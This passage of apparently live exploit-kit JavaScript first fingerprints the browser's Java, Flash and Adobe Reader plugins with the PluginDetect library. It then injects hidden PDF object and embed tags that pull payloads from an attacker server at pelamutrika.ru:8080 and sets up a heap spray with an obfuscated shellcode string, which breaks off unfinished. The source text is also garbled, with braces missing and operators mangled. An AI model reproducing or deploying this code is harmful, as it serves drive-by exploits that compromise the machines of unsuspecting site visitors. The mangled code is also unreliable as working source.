  959.           if (b)
  960.             return k
  961.           }
  962.           k.status = 0;
  963.           if (g.isIE && 6= g.verIE)
  964.             for (l = 0; l < k.classID.length; l ++ )
  965.               k.HTML = g.insertHTML("object", ["classid", k.classID[l]], []);
  966.               c = g.getDOMobj(k.HTML);
  967.               try
  968.                 if (c && c.jvms)
  969.                   break
  970.                 }
  971.               }
  972.               catch (j)
  973.               }
  974.             }
  975.           }
  976.           else
  977.             if (!g.isIE && (h = g.hasMimeType(k.mimeType)) && h.type)
  978.               k.HTML = g.insertHTML("object", ["type", h.type], []);
  979.               c = g.getDOMobj(k.HTML)
  980.             }
  981.           }
  982.           if (c)
  983.             try
  984.               a = c.jvms;
  985.               if (a)
  986.                 i = a.getLength();
  987.                 if (g.isNum(i))
  988.                   k.status = 0 < i ? 1 :- 1;
  989.                   for (l = 0; l < i; l ++ )
  990.                     h = g.getNum(a.get(i - 1 - l).version);
  991.                     if (h)
  992.                       k.VERSIONS.push(h);
  993.                       f["a" + g.formatNum(h)] = 1
  994.                     }
  995.                   }
  996.                 }
  997.               }
  998.             }
  999.             catch (j)
  1000.             }
  1001.           }
  1002.           h = 0;
  1003.           for (lin f)
  1004.             h ++
  1005.           }
  1006.           if (h && h !== k.VERSIONS.length)
  1007.             k.VERSIONS = []
  1008.           }
  1009.           if (k.VERSIONS.length)
  1010.             k.version = g.formatNum(k.VERSIONS[0])
  1011.           }
  1012.           ;
  1013.           return k
  1014.         }
  1015.       }
  1016.       , AXO :
  1017.         $ : 1, hasRun : 0, VERSIONS : [], version : "", disabled : function ()
  1018.           return this .$$.isDisabled.AXO()
  1019.         }
  1020.         , JavaVersions : [[1, 9, 1, 40], [1, 8, 1, 40], [1, 7, 1, 40], [1, 6, 0, 40], [1,
  1021.         5, 0, 30], [1, 4, 2, 30], [1, 3, 1, 30]], query : function ()
  1022.           var a = this , e = a.$, b = a.$$, c = (a.hasRun || a.disabled());
  1023.           a.hasRun = 1;
  1024.           if (c)
  1025.             return a
  1026.           }
  1027.           var i = [], k = [1, 5, 0, 14], j = [1, 6, 0, 2], h = [1, 3, 1, 0], g = [1, 4, 2,
  1028.           0], f = [1, 5, 0, 7], d = b.getInfo ? true : false, l =
  1029.           }
  1030.           ;
  1031.           if (b.minIEver= e.verIE)
  1032.             i = a.search(j, j, d);
  1033.             if (0 < i.length && d)
  1034.               i = a.search(k, k, d)
  1035.             }
  1036.           }
  1037.           else
  1038.             if (d)
  1039.               i = a.search(f, f, true)
  1040.             }
  1041.             if (i.length == 0)
  1042.               i = a.search(h, g, false)
  1043.             }
  1044.           }
  1045.           if (i.length)
  1046.             a.version = i[0];
  1047.             a.VERSIONS = [].concat(i)
  1048.           }
  1049.           ;
  1050.           return a
  1051.         }
  1052.         , search : function (a, j, p)
  1053.           var h, d, f = this , e = f.$, k = f.$$, n, c, l, q, b, o, r, i = [];
  1054.           if (0 < e.compareNums(a.join(","), j.join(",")))
  1055.             j = a
  1056.           }
  1057.           j = e.formatNum(j.join(","));
  1058.           var m, s = "1,4,2,0", g = "JavaPlugin." + a[0] + "" + a[1] + "" + a[2] + "" + (0
  1059.            < a[3] ? ("_" + (a[3]10 ? "0" : "") + a[3]) : "");
  1060.           for (h = 0; h < f.JavaVersions.length; h ++ )
  1061.             d = f.JavaVersions[h];
  1062.             n = "JavaPlugin." + d[0] + "" + d[1];
  1063.             b = d[0] + "." + d[1] + ".";
  1064.             for (l = d[2];
  1065.             l >= 0; l -- )
  1066.               r = "JavaWebStart.isInstalled." + b + l + ".0";
  1067.               if (e.compareNums(d[0] + "," + d[1] + "," + l + ",0", j)= 0 &&! e.getAXO(r
  1068.               ))
  1069.                 continue
  1070.               }
  1071.               m = 0 > e.compareNums(d[0] + "," + d[1] + "," + l + ",0", s) ? true : false;
  1072.               for (q = d[3];
  1073.               q >= 0; q -- )
  1074.                 c = l + "_" + (q < 10 ? "0" + q : q);
  1075.                 o = n + c;
  1076.                 if (e.getAXO(o) && (m || e.getAXO(r)))
  1077.                   i.push(b + c);
  1078.                   if (!p)
  1079.                     return i
  1080.                   }
  1081.                 }
  1082.                 if (o == g)
  1083.                   return i
  1084.                 }
  1085.               }
  1086.               if (e.getAXO(n + l) && (m || e.getAXO(r)))
  1087.                 i.push(b + l);
  1088.                 if (!p)
  1089.                   return i
  1090.                 }
  1091.               }
  1092.               if (n + l == g)
  1093.                 return i
  1094.               }
  1095.             }
  1096.           }
  1097.           return i
  1098.         }
  1099.       }
  1100.       , navMime :
  1101.         $ : 1, hasRun : 0, mimetype : "", version : "", length : 0, mimeObj : 0, pluginObj
  1102.          : 0, disabled : function ()
  1103.           return this .$$.isDisabled.navMime()
  1104.         }
  1105.         , query : function ()
  1106.           var i = this , f = i.$, a = i.$$, b = (i.hasRun || i.disabled());
  1107.           i.hasRun = 1;
  1108.           if (b)
  1109.             return i
  1110.           }
  1111.           ;
  1112.           var n =/^\ s * application \/ x - java - applet;
  1113.           jpi - version \ s *=\ s * ( \ d. * )$ / i, g, l, j, d = "", h = "a", o, m, k =
  1114.           {
  1115.           }
  1116.           , c = f.formatNum("0");
  1117.           for (l = 0; l < navigator.mimeTypes.length; l ++ )
  1118.             o = navigator.mimeTypes[l];
  1119.             m = o ? o.enabledPlugin : 0;
  1120.             g = o && n.test(o.type || d) ? f.formatNum(f.getNum(RegExp.$1)) : 0;
  1121.             if (g && m && (m.description || m.name))
  1122.               if (!k[h + g])
  1123.                 i.length ++
  1124.               }
  1125.               k[h + g] = o.type;
  1126.               if (0 < f.compareNums(g, c))
  1127.                 c = g
  1128.               }
  1129.             }
  1130.           }
  1131.           g = k[h + c];
  1132.           if (g)
  1133.             o = f.hasMimeType(g);
  1134.             i.mimeObj = o;
  1135.             i.pluginObj = o ? o.enabledPlugin : 0;
  1136.             i.mimetype = g;
  1137.             i.version = c
  1138.           }
  1139.           ;
  1140.           return i
  1141.         }
  1142.       }
  1143.       , navPlugin :
  1144.         $ : 1, hasRun : 0, version : "", disabled : function ()
  1145.           return this .$$.isDisabled.navPlugin()
  1146.         }
  1147.         , query : function ()
  1148.           var m = this , e = m.$, c = m.$$, h = c.navigator, j, l, k, g, d, a, i, f = 0, b
  1149.            = (m.hasRun || m.disabled());
  1150.           m.hasRun = 1;
  1151.           if (b)
  1152.             return m
  1153.           }
  1154.           ;
  1155.           a = h.pluginObj.name || "";
  1156.           i = h.pluginObj.description || "";
  1157.           if (!f || c.debug)
  1158.             g =/ Java. * TM. * Platform[ ^\ d] * ( \ d + )( ?: [ \ ., _]( \ d * )) ? ( ?:\
  1159.             s * [Update] +\ s * ( \ d * )) ?/ i;
  1160.             if ((g.test(a) || g.test(i)) && parseInt(RegExp.$1, 10)= 5)
  1161.               f = "1," + RegExp.$1 + "," + (RegExp.$2 ? RegExp.$2 : "0") + "," + (RegExp.
  1162.               $3 ? RegExp.$3 : "0")
  1163.             }
  1164.           }
  1165.           if (!f || c.debug)
  1166.             g =/ Java[ ^\ d] * Plug - in  / i;
  1167.             l = g.test(i) ? e.formatNum(e.getNum(i)) : 0;
  1168.             k = g.test(a) ? e.formatNum(e.getNum(a)) : 0;
  1169.             if (l && (e.compareNums(l, e.formatNum("1,3"))0 || e.compareNums(l, e.
  1170.             formatNum("2"))= 0))
  1171.               l = 0
  1172.             }
  1173.             if (k && (e.compareNums(k, e.formatNum("1,3"))0 || e.compareNums(k, e.
  1174.             formatNum("2"))= 0))
  1175.               k = 0
  1176.             }
  1177.             d = l && k ? (0 < e.compareNums(l, k) ? l : k) : (l || k);
  1178.             if (d)
  1179.               f = d
  1180.             }
  1181.           }
  1182.           if (!f && e.isSafari && e.OS == 2)
  1183.             j = e.findNavPlugin("Java.*\d.*Plug-in.*Cocoa", 0);
  1184.             if (j)
  1185.               l = e.getNum(j.description);
  1186.               if (l)
  1187.                 f = l
  1188.               }
  1189.             }
  1190.           }
  1191.           ;
  1192.           if (f)
  1193.             m.version = e.formatNum(f)
  1194.           }
  1195.           ;
  1196.           return m
  1197.         }
  1198.       }
  1199.       , lang :
  1200.         $ : 1, System :
  1201.           $ : 1, hasRun : 0, result : [null, null], disabled : function ()
  1202.             return this .$$.isDisabled.windowDotJava()
  1203.           }
  1204.           , getPropertyHas : function (a)
  1205.             var b = this , d = b.$, c = b.getProperty()[0];
  1206.             return (a && c && d.compareNums(d.formatNum(a), d.formatNum(c)) === 0) ? 1 : 0
  1207.           }
  1208.           , getProperty : function ()
  1209.             var f = this , g = f.$, d = f.$$, i, h =
  1210.             }
  1211.             , b = f.hasRun || f.disabled();
  1212.             f.hasRun = 1;
  1213.             if (!b)
  1214.               var a = "java_qqq990";
  1215.               g[a] = null;
  1216.               try
  1217.                 var c = document.createElement("script");
  1218.                 c.type = "text/javascript";
  1219.                 c.appendChild(document.createTextNode('
  1220. (function(){var e,a;try{a=[window.java.lang.System.getProperty("java.version")+" ",window.
  1221. java.lang.System.getProperty("java.vendor")+" "]}catch(e){};' + g.name + "." + a +
  1222.                 "=a||0})();"));
  1223.                 g.head.insertBefore(c, g.head.firstChild);
  1224.                 g.head.removeChild(c)
  1225.               }
  1226.               catch (i)
  1227.               }
  1228.               if (g[a] && g.isArray(g[a]))
  1229.                 f.result = [].concat(g[a])
  1230.               }
  1231.             }
  1232.             return f.result
  1233.           }
  1234.         }
  1235.       }
  1236.       , applet :
  1237.         $ : 1, results : [[null, null], [null, null], [null, null]], getResult : function
  1238.         ()
  1239.           var c = this .results, a, b = [];
  1240.           for (a = 0; a < c.length; a ++ )
  1241.             b = c[a];
  1242.             if (b[0])
  1243.               break
  1244.             }
  1245.           }
  1246.           return [].concat(b)
  1247.         }
  1248.         , HTML : [0, 0, 0], active : [0, 0, 0], DummyObjTagHTML : 0, DummySpanTagHTML : 0,
  1249.         allowed : [1, 1, 1], VerifyTagsHas : function (c)
  1250.           var d = this , b;
  1251.           for (b = 0; b < d.allowed.length; b ++ )
  1252.             if (d.allowed[b] === c)
  1253.               return 1
  1254.             }
  1255.           }
  1256.           return 0
  1257.         }
  1258.         , saveAsVerifyTagsArray : function (c)
  1259.           var b = this , d = b.$, a;
  1260.           if (d.isArray(c))
  1261.             for (a = 0; a < b.allowed.length; a ++ )
  1262.               if (d.isNum(c[a]))
  1263.                 if (0 > c[a])
  1264.                   c[a] = 0
  1265.                 }
  1266.                 if (c[a]3)
  1267.                   c[a] = 3
  1268.                 }
  1269.                 b.allowed[a] = c[a]
  1270.               }
  1271.             }
  1272.           }
  1273.         }
  1274.         , setVerifyTagsArray : function (d)
  1275.           var b = this , c = b.$, a = b.$$;
  1276.           if (a.getVersionDone === null)
  1277.             b.saveAsVerifyTagsArray(a.getVerifyTagsDefault())
  1278.           }
  1279.           if (a.debug || (a.verify && a.verify.isEnabled()))
  1280.             b.saveAsVerifyTagsArray([3, 3, 3])
  1281.           }
  1282.           else
  1283.             if (d)
  1284.               b.saveAsVerifyTagsArray(d)
  1285.             }
  1286.           }
  1287.         }
  1288.         , allDisabled : function ()
  1289.           return this .$$.isDisabled.allApplets()
  1290.         }
  1291.         , isDisabled : function (d)
  1292.           var b = this , c = b.$, a = b.$$;
  1293.           if (d == 2 &&! c.isIE)
  1294.             return 1
  1295.           }
  1296.           if (d === 0 || d == 2)
  1297.             return a.isDisabled.ObjectTag()
  1298.           }
  1299.           if (d == 1)
  1300.             return a.isDisabled.AppletTag()
  1301.           }
  1302.         }
  1303.         , can_Insert_Query : function (b)
  1304.           var a = this ;
  1305.           if (a.HTML[b])
  1306.             return 0
  1307.           }
  1308.           return !a.isDisabled(b)
  1309.         }
  1310.         , can_Insert_Query_Any : function ()
  1311.           var b = this , a;
  1312.           for (a = 0; a < b.results.length; a ++ )
  1313.             if (b.can_Insert_Query(a))
  1314.               return 1
  1315.             }
  1316.           }
  1317.           return 0
  1318.         }
  1319.         , should_Insert_Query : function (d)
  1320.           var b = this , e = b.allowed, c = b.$, a = b.$$;
  1321.           if (!b.can_Insert_Query(d))
  1322.             return 0
  1323.           }
  1324.           if (e[d] == 3)
  1325.             return 1
  1326.           }
  1327.           if (e[d] == 2.8 &&! b.getResult()[0])
  1328.             return 1
  1329.           }
  1330.           if (e[d] == 2.5 &&! a.lang.System.getProperty()[0])
  1331.             return 1
  1332.           }
  1333.           if (e[d] == 2.2 &&! a.lang.System.getProperty()[0] &&! b.getResult()[0])
  1334.             return 1
  1335.           }
  1336.           if (!a.nonAppletDetectionOk(a.version0))
  1337.             if (e[d] == 2)
  1338.               return 1
  1339.             }
  1340.             if (e[d] == 1 &&! b.getResult()[0])
  1341.               return 1
  1342.             }
  1343.           }
  1344.           return 0
  1345.         }
  1346.         , should_Insert_Query_Any : function ()
  1347.           var b = this , a;
  1348.           for (a = 0; a < b.allowed.length; a ++ )
  1349.             if (b.should_Insert_Query(a))
  1350.               return 1
  1351.             }
  1352.           }
  1353.           return 0
  1354.         }
  1355.         , query : function (f)
  1356.           var h, a = this , g = a.$, d = a.$$, i = null, j = null, b = a.results, c;
  1357.           if ((b[f][0] && b[f][1]) || (d.debug && d.OTF3))
  1358.             return
  1359.           }
  1360.           c = g.getDOMobj(a.HTML[f], true);
  1361.           if (c)
  1362.             try
  1363.               i = g.getNum(c.getVersion() + " ");
  1364.               j = c.getVendor() + " ";
  1365.               c.statusbar(g.winLoaded ? " " : " ")
  1366.             }
  1367.             catch (h)
  1368.             }
  1369.             if (i && g.isStrNum(i))
  1370.               b[f] = [i, j]
  1371.             }
  1372.             else
  1373.             }
  1374.             ;
  1375.             try
  1376.               if (g.isIE && i && c.readyState != 4)
  1377.                 g.garbage = true;
  1378.                 c.parentNode.removeChild(c)
  1379.               }
  1380.             }
  1381.             catch (h)
  1382.             }
  1383.           }
  1384.         }
  1385.         , insert_Query_Any : function ()
  1386.           var d = this , i = d.$, e = d.$$, l = d.results, p = d.HTML, a =
  1387.           "    ", g = "A.class", m = i.file.getValid(e);
  1388.           if (!m)
  1389.             return d.getResult()
  1390.           }
  1391.           if (e.OTF1)
  1392.             e.OTF = 1
  1393.           }
  1394.           if (d.allDisabled())
  1395.             return d.getResult()
  1396.           }
  1397.           if (e.OTF1.5)
  1398.             e.OTF = 1.5
  1399.           }
  1400.           var j = m.name + m.ext, h = m.path;
  1401.           var f = ["archive", j, "code", g], c = ["mayscript", "true"], o = ["scriptable",
  1402.           "true"].concat(c), n = e.navigator, b =! i.isIE && n.mimeObj && n.mimeObj.type ?
  1403.           n.mimeObj.type : e.mimeType[0];
  1404.           if (d.should_Insert_Query(0))
  1405.             if (e.OTF2)
  1406.               e.OTF = 2
  1407.             }
  1408.             ;
  1409.             p[0] = i.isIE ? i.insertHTML("object", ["type", b], ["codebase", h].concat(f).
  1410.             concat(o), a, e) : i.insertHTML("object", ["type", b], ["codebase", h].concat(
  1411.             f).concat(o), a, e);
  1412.             l[0] = [0, 0];
  1413.             d.query(0)
  1414.           }
  1415.           if (d.should_Insert_Query(1))
  1416.             if (e.OTF2)
  1417.               e.OTF = 2
  1418.             }
  1419.             ;
  1420.             p[1] = i.isIE ? i.insertHTML("applet", ["alt", a].concat(c).concat(f), [
  1421.             "codebase", h].concat(c), a, e) : i.insertHTML("applet", ["codebase", h, "alt"
  1422.             , a].concat(c).concat(f), [].concat(c), a, e);
  1423.             l[1] = [0, 0];
  1424.             d.query(1)
  1425.           }
  1426.           if (d.should_Insert_Query(2))
  1427.             if (e.OTF2)
  1428.               e.OTF = 2
  1429.             }
  1430.             ;
  1431.             p[2] = i.isIE ? i.insertHTML("object", ["classid", e.classID], ["codebase", h
  1432.             ].concat(f).concat(o), a, e) : i.insertHTML();
  1433.             l[2] = [0, 0];
  1434.             d.query(2)
  1435.           }
  1436.           if (!d.DummyObjTagHTML &&! e.isDisabled.ObjectTag())
  1437.             d.DummyObjTagHTML = i.insertHTML("object", [], [], a)
  1438.           }
  1439.           if (!d.DummySpanTagHTML)
  1440.             d.DummySpanTagHTML = i.insertHTML("", [], [], a)
  1441.           }
  1442.           ;
  1443.           var k = e.NOTF;
  1444.           if (e.OTF3 && k.shouldContinueQuery())
  1445.             e.OTF = 3;
  1446.             k.onIntervalQuery = i.handler(k.$$onIntervalQuery, k);
  1447.             if (!i.winLoaded)
  1448.               i.WLfuncs0.push([k.winOnLoadQuery, k])
  1449.             }
  1450.             setTimeout(k.onIntervalQuery, k.intervalLength)
  1451.           }
  1452.           ;
  1453.           return d.getResult()
  1454.         }
  1455.       }
  1456.       , NOTF :
  1457.         $ : 1, count : 0, countMax : 25, intervalLength : 250, shouldContinueQuery :
  1458.         function ()
  1459.           var e = this , d = e.$, c = e.$$, b = c.applet, a;
  1460.           for (a = 0; a < b.results.length; a ++ )
  1461.             if (b.HTML[a] &&! b.results[a][0] && (b.allowed[a]= 2 || (b.allowed[a] == 1
  1462.              &&! b.getResult()[0])) && e.isAppletActive(a)= 0)
  1463.               return 1
  1464.             }
  1465.           }
  1466.           return 0
  1467.         }
  1468.         , isJavaActive : function (d)
  1469.           var f = this , c = f.$$, a, b, e =- 9;
  1470.           for (a = 0; a < c.applet.HTML.length; a ++ )
  1471.             b = f.isAppletActive(a, d);
  1472.             if (b > e)
  1473.               e = b
  1474.             }
  1475.           }
  1476.           return e
  1477.         }
  1478.         , isAppletActive : function (c, a)
  1479.           var d = this , b = d.$$.applet.active;
  1480.           if (!a)
  1481.             b[c] = d.isAppletActive_(c)
  1482.           }
  1483.           return b[c]
  1484.         }
  1485.         , isAppletActive_ : function (d)
  1486.           var g = this , f = g.$, b = g.$$, l = b.navigator, a = b.applet, h = a.HTML[d],
  1487.           i, k, c = 0, j = f.getTagStatus(h, a.DummySpanTagHTML, a.DummyObjTagHTML, g.
  1488.           count);
  1489.           if (j ==- 2)
  1490.             return  - 2
  1491.           }
  1492.           try
  1493.             if (f.isIE && b.minIEver= f.verIE && f.getDOMobj(h).object)
  1494.               return 1
  1495.             }
  1496.           }
  1497.           catch (i)
  1498.           }
  1499.           for (k = 0; k < a.active.length; k ++ )
  1500.             if (0 < a.active[k])
  1501.               c = 1
  1502.             }
  1503.           }
  1504.           if (j == 1 && (f.isIE || ((b.version0 && l.javaEnabled() && l.mimeObj && (h.
  1505.           tagName == "object" || c)) || b.lang.System.getProperty()[0])))
  1506.             return 1
  1507.           }
  1508.           if (0 > j)
  1509.             return  - 1
  1510.           }
  1511.           return 0
  1512.         }
  1513.         , winOnLoadQuery : function (c, d)
  1514.           var b = d.$$, a;
  1515.           if (b.OTF == 3)
  1516.             a = d.queryAllApplets();
  1517.             d.queryCompleted(a[1], a[2])
  1518.           }
  1519.         }
  1520.         , $$onIntervalQuery : function (d)
  1521.           var c = d.$, b = d.$$, a;
  1522.           if (b.OTF == 3)
  1523.             a = d.queryAllApplets();
  1524.             if (!d.shouldContinueQuery() || (c.winLoaded && d.count > d.countMax))
  1525.               d.queryCompleted(a[1], a[2])
  1526.             }
  1527.           }
  1528.           d.count++;
  1529.           if (b.OTF == 3)
  1530.             setTimeout(d.onIntervalQuery, d.intervalLength)
  1531.           }
  1532.         }
  1533.         , queryAllApplets : function ()
  1534.           var g = this , f = g.$, e = g.$$, d = e.applet, b, a, c;
  1535.           for (b = 0; b < d.results.length; b ++ )
  1536.             d.query(b)
  1537.           }
  1538.           a = d.getResult();
  1539.           c = a[0] ? true : false;
  1540.           return [c, a[0], a[1]]
  1541.         }
  1542.         , queryCompleted : function (c, f)
  1543.           var e = this , d = e.$, b = e.$$;
  1544.           if (b.OTF= 4)
  1545.             return
  1546.           }
  1547.           b.OTF = 4;
  1548.           var a = e.isJavaActive();
  1549.           b.setPluginStatus(c, f, 0);
  1550.           if (b.funcs)
  1551.             d.callArray(b.funcs)
  1552.           }
  1553.           if (d.onDoneEmptyDiv)
  1554.             d.onDoneEmptyDiv()
  1555.           }
  1556.         }
  1557.       }
  1558.       , zz : 0
  1559.     }
  1560.     , flash :
  1561.       mimeType : "application/x-shockwave-flash", progID : "ShockwaveFlash.ShockwaveFlash"
  1562.       , classID : "clsid:D27CDB6E-AE6D-11CF-96B8-444553540000", getVersion : function ()
  1563.         var b = function (i)
  1564.           if (!i)
  1565.             return null
  1566.           }
  1567.           var e =/ [ \ d][ \ d \,\ . \ s] * [rRdD]
  1568.             0, 1
  1569.           }
  1570.           [ \ d \, ] */ .exec(i);
  1571.           return e ? e[0].replace(/[rRdD\.]/g, ",").replace(/\s/g, "") : null
  1572.         }
  1573.         ;
  1574.         var j = this , g = j.$, k, h, l = null, c = null, a = null, f, m, d;
  1575.         if (!g.isIE)
  1576.           m = g.hasMimeType(j.mimeType);
  1577.           if (m)
  1578.             f = g.getDOMobj(g.insertHTML("object", ["type", j.mimeType], [], "", j));
  1579.             try
  1580.               l = g.getNum(f.GetVariable("$version"))
  1581.             }
  1582.             catch (k)
  1583.             }
  1584.           }
  1585.           if (!l)
  1586.             d = m ? m.enabledPlugin : null;
  1587.             if (d && d.description)
  1588.               l = b(d.description)
  1589.             }
  1590.             if (l)
  1591.               l = g.getPluginFileVersion(d, l)
  1592.             }
  1593.           }
  1594.         }
  1595.         else
  1596.           for (h = 15; h > 2; h -- )
  1597.             c = g.getAXO(j.progID + "." + h);
  1598.             if (c)
  1599.               a = h.toString();
  1600.               break
  1601.             }
  1602.           }
  1603.           if (!c)
  1604.             c = g.getAXO(j.progID)
  1605.           }
  1606.           if (a == "6")
  1607.             try
  1608.               c.AllowScriptAccess = "always"
  1609.             }
  1610.             catch (k)
  1611.               return "6,0,21,0"
  1612.             }
  1613.           }
  1614.           try
  1615.             l = b(c.GetVariable("$version"))
  1616.           }
  1617.           catch (k)
  1618.           }
  1619.           if (!l && a)
  1620.             l = a
  1621.           }
  1622.         }
  1623.         j.installed = l ? 1 :- 1;
  1624.         j.version = g.formatNum(l);
  1625.         return true
  1626.       }
  1627.     }
  1628.     , adobereader :
  1629.       mimeType : "application/pdf", navPluginObj : null, progID : ["AcroPDF.PDF",
  1630.       "PDF.PdfCtrl"], classID : "clsid:CA8A9780-280D-11CF-A24D-444553540000", INSTALLED :
  1631.       {
  1632.       }
  1633.       , pluginHasMimeType : function (d, c, f)
  1634.         var b = this , e = b.$, a;
  1635.         for (ain d)
  1636.           if (d[a] && d[a].type && d[a].type == c)
  1637.             return 1
  1638.           }
  1639.         }
  1640.         if (e.getMimeEnabledPlugin(c, f))
  1641.           return 1
  1642.         }
  1643.         return 0
  1644.       }
  1645.       , getVersion : function (l, j)
  1646.         var g = this , d = g.$, i, f, m, n, b = null, h = null, k = g.mimeType, a, c;
  1647.         if (d.isString(j))
  1648.           j = j.replace(/\s/g, "");
  1649.           if (j)
  1650.             k = j
  1651.           }
  1652.         }
  1653.         else
  1654.           j = null
  1655.         }
  1656.         if (d.isDefined(g.INSTALLED[k]))
  1657.           g.installed = g.INSTALLED[k];
  1658.           return
  1659.         }
  1660.         if (!d.isIE)
  1661.           a = "Adobe.*PDF.*Plug-?in|Adobe.*Acrobat.*Plug-?in|Adobe.*Reader.*Plug-?in";
  1662.           if (g.getVersionDone !== 0)
  1663.             g.getVersionDone = 0;
  1664.             b = d.getMimeEnabledPlugin(g.mimeType, a);
  1665.             if (!j)
  1666.               n = b
  1667.             }
  1668.             if (!b && d.hasMimeType(g.mimeType))
  1669.               b = d.findNavPlugin(a, 0)
  1670.             }
  1671.             if (b)
  1672.               g.navPluginObj = b;
  1673.               h = d.getNum(b.description) || d.getNum(b.name);
  1674.               h = d.getPluginFileVersion(b, h);
  1675.               if (!h && d.OS == 1)
  1676.                 if (g.pluginHasMimeType(b, "application/vnd.adobe.pdfxml", a))
  1677.                   h = "9"
  1678.                 }
  1679.                 else
  1680.                   if (g.pluginHasMimeType(b, "application/vnd.adobe.x-mars", a))
  1681.                     h = "8"
  1682.                   }
  1683.                 }
  1684.               }
  1685.             }
  1686.           }
  1687.           else
  1688.             h = g.version
  1689.           }
  1690.           if (!d.isDefined(n))
  1691.             n = d.getMimeEnabledPlugin(k, a)
  1692.           }
  1693.           g.installed = n && h ? 1 : (n ? 0 : (g.navPluginObj ?- 0.2 :- 1))
  1694.         }
  1695.         else
  1696.           b = d.getAXO(g.progID[0]) || d.getAXO(g.progID[1]);
  1697.           c =/=\ s * ([ \ d \ .] + ) / g;
  1698.           try
  1699.             f = (b || d.getDOMobj(d.insertHTML("object", ["classid", g.classID], ["src",
  1700.             ""], "", g))).GetVersions();
  1701.             for (m = 0; m < 5; m ++ )
  1702.               if (c.test(f) && (!h || h < RegExp.$1))
  1703.                 h = RegExp.$1
  1704.               }
  1705.             }
  1706.           }
  1707.           catch (i)
  1708.           }
  1709.           g.installed = h ? 1 : (b ? 0 :- 1)
  1710.         }
  1711.         if (!g.version)
  1712.           g.version = d.formatNum(h)
  1713.         }
  1714.         g.INSTALLED[k] = g.installed
  1715.       }
  1716.     }
  1717.     , zz : 0
  1718.   }
  1719. ;
  1720. PluginDetect.initScript();
  1721. PluginDetect.getVersion(".");
  1722. var $$ = PluginDetect;
  1723. function x(s)
  1724.   d = [];
  1725.   for (i = 0; i < s.length; i ++ )
  1726.     k = (s.charCodeAt(i)).toString(33);
  1727.     d.push(k);
  1728.   }
  1729.   ;
  1730.   return d.join(":");
  1731. end_redirect = function ()
  1732. ;
  1733. function j1()
  1734.   return true;
  1735. function j2()
  1736.   return true;
  1737. function p1()
  1738.   var d = document.createElement("div");
  1739.   d.innerHTML = "<object data=\"http://pelamutrika.ru:8080/forum/links/column.php?qxwfe=" +
  1740.   x("c833f") + "&anaxw=" + x("kqt") + "&kfcb=2v:1k:1m:32:33:1k:1k:31:1j:1o&zzsp=" + x(
  1741.   pdfver.join(".")) + "
  1742. \" type=\"application/pdf\"><embed src=\"http://pelamutrika.ru:8080/forum/links/column.php
  1743. ?qxwfe=" + x("c833f") + "&anaxw=" + x("kqt") + "&kfcb=2v:1k:1m:32:33:1k:1k:31:1j:1o&zzsp="
  1744.    + x(pdfver.join(".")) + "\" type=\"application/pdf\" /></object>";
  1745.   document.body.appendChild(d);
  1746. function p2()
  1747.   var d = document.createElement("div");
  1748.   d.innerHTML =
  1749.   "<object data=\"http://pelamutrika.ru:8080/forum/links/column.php?zxztpaa=" + x("c833f")
  1750.    + "&evx=" + x("q") + "&sev=2v:1k:1m:32:33:1k:1k:31:1j:1o&uaauvo=" + x(pdfver.join("."))
  1751.    + "
  1752. \" type=\"application/pdf\"><embed src=\"http://pelamutrika.ru:8080/forum/links/column.php
  1753. ?zxztpaa=" + x("c833f") + "&evx=" + x("q") + "&sev=2v:1k:1m:32:33:1k:1k:31:1j:1o&uaauvo=" +
  1754.   x(pdfver.join(".")) + "\" type=\"application/pdf\" /></object>";
  1755.   document.body.appendChild(d);
  1756. function f1()
  1757.   return false;
  1758. function getCN()
  1759.   return "http://pelamutrika.ru:8080/forum/links/column.php?vmsxmw=" + x("c833f") +
  1760.   "&dpr=" + x("bspio") + "&knusk=2v:1k:1m:32:33:1k:1k:31:1j:1o&vtsf=clq"
  1761. function getBlockSize()
  1762.   return 1024
  1763. function getAllocSize()
  1764.   return 1024 * 1024
  1765. function getAllocCount()
  1766.   return 300
  1767. function getFillBytes()
  1768.   var a = '%u' + '0c0c';
  1769.   return a + a
  1770. function getShellCode()
  1771.   var a = "
  1772. 8282!%5114!%15e4!%04e0!%3451!%e044!%9134!%2551!%74e0!%2191!%9124!%9121!%21b1!%9134!%3421!%
  1773. 2191!%b1b1!%a121!%21b1!%9154!%3421!%2191!%a1e5!%d451!%e095!%b1b1!%1421!%2191!%9114!%6421!%
  1774. 2191!%b181!%e451!%7115!%0485!%6085!%5464!%44d5!%b474!%b570!%6434!%4414!%5470!%a5d5!%e474!%
  1775. 8170!%8101!%2101!%a5d5!%9460!%1434!%c5a5!%54d5!%4494!%85d4!%7070!%8521!%c5c5!%8504!%2370!%
  1776. 15e1!%eee6!%3733!%2e2a!%59b1!%7492!%621a!%6d2a!%4c0b!%6662!%7d6a!%6d7d!%0c4b!%e702!%6d7d!%
  1777. 8224!%ce24!%82d5!%8a71!%2df6!%82d5!%8a71!%b3f6!%a23c!%423c!%babe!%e7c2!%b77d!%3c42!%82ba!%
  1778. c224!%7de7!%82b7!%e324!%8ed5!%c3da!%7de7!%2482!%b7f7!%2482!%2482!%9697!%53c2!%0ac6!%c281!%
  1779. 2a9e!%8217!%5312!%eec6!%4444!%60c4!%53d2!%fec6!%a4c5!%f585!%5382!%fec6!%1e97!%0cb1!%423a!%
  1780. 7de7!%8282!%0d82!%b704!%b580!%8050!%c002!%fec6!%b1a1!%e5a5!%c0c2!%fec6!%f4b5!%a5d4!%c2c0!%
  1781. 42fe!%47c0!%825a!%9282!%4cc2!%a59a!%a23c!%7d3c!%7d7d!%0c94!%3a0c!%ce02!%e3ba!%c77d!%4454!%
  1782. d5a5!%8204!%6482!%0474!%7dbc!%bed2!%83ba!%3a67!%3a4c!%87d7!%8e13!%87ba!%8282!%7d82!%8604!%
  1783. 8724!%8207!%8282!%0c82!%ac1d!%7d7d!%0b7d!%170c!%24d2!%3afd!%0402!%bd3a!%eb3c!%c5b2!%42b1!%
  1784. 8a55!%0480!%583a!%3cb7!%17be!%3867!%b2de!%c23a!%5f3a!%0fb2!%423a!%c7c0!%4c7d!%5ae6!%4236!%
  1785. e43a!%b25f!%67c0!%673a!%d5ec!%3173!%3c9d!%2f86!%52b2!%9e3e!%c502!%01ad!%6983!%3f72!%deb1!%
  1786. 58b2!%964d!%1e16!%ddb1!%80b2!%3ae5!%dde7!%05b2!%c5d1!%413a!%3ad5!%97e7!%3c46!%971c!%ccd5!%
  1787. c0da!%fac1!%d53d!%11e2!%bee6!%8681!%093a!%7d7d!%d383!%9a6c!%b140!%b2c5!%6741!%e43a!%b13f!%
